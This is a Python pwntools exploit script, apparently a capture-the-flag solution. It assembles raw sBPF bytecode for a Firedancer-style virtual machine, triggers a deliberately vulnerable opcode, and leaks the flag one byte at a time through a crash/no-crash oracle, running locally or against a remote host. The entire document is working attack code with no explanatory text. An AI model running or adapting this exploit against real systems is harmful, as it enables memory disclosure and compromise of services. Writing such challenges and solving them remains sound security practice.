from pwn import *
from base64 import b64encode
name = "../chal/chal"
context.terminal = ["kitty"]
context.log_level = "ERROR"
gdbscript = """
b fd_vm_interp_dispatch_tab.c:393
c
"""
LOG_DATA = 0x7317b434
LOG = 0x207559bd
def syscall(hash):
return p32(0x85) + p32(hash)
def mvr(dst, src):
return p8(0xbf) + p8(dst + (src << 4)) + p16(0) + p32(0)
def ldq(dst, num):
return p8(0x18) + p8(dst) + p16(0) + p32(num % (1 << 32)) + p32(0) + p32(num >> 32)
def call(off):
return p8(0x85) + p8(0) * 3 + p32(off)
def stq(base, src):
return p8(0x7b) + p8(base + (src << 4)) + p16(0) + p32(0)
def nop():
return p64(4)
def xit():
return p64(0x95)
def vuln(reg):
return p8(0x8d) + p8(0) * 3 + p32(reg)
def jmp(off):
return p8(5) + p8(0) + p16(off % (1 << 16)) + p32(0)
def andi(reg, imm):
return p8(0x54) + p8(reg) + p16(0) + p32(imm)
def subi(reg, imm):
return p8(0x14) + p8(reg) + p16(0) + p32(imm)
def jeq(reg, imm, off):
return p8(0x15) + p8(reg) + p16(off) + p32(imm)
RDONLY = 0x100000000
HEAP = 0x300000000
INPUT = 0x400000000
def check(guess: int, offset: int):
if args.GDB:
p = gdb.debug(name, gdbscript=gdbscript)
elif args.REMOTE or args.HOST or args.PORT:
p = remote(args.HOST or "localhost", args.PORT or "5000")
else:
p = process(name)
def pc():
return len(instrs) + 8
readonly = b""
readonly += mvr(0, 13)
readonly += andi(0, 0xff)
readonly += jeq(0, guess, 1)
readonly += xit()
readonly += ldq(0, 0x13371337)
readonly += vuln(0)
readonly += xit()
instrs = b""
instrs += ldq(1, HEAP+0x1337 + offset)
instrs += ldq(2, -(1 << 12) % (1 << 64))
instrs += syscall(LOG)
instrs += ldq(0, 0x4000)
instrs += vuln(0)
instrs += xit()
program = b""
program += instrs
program = program.ljust(0x4000, b"\x04")
program += readonly
program = program.ljust(0x8000, b"\x00")
p.sendlineafter(b": ", f"{len(program)}".encode());
p.sendafter(b": ", program)
p.sendlineafter(b": ", f"{len(instrs) // 8}".encode())
try:
p.recvline()
p.close()
return False
except:
p.close()
return True
flag = ""
idx = 0
while not flag.endswith("}"):
for byte in range(0x20, 0x7f):
if check(byte, idx):
flag += chr(byte)
break
print(flag)
idx += 1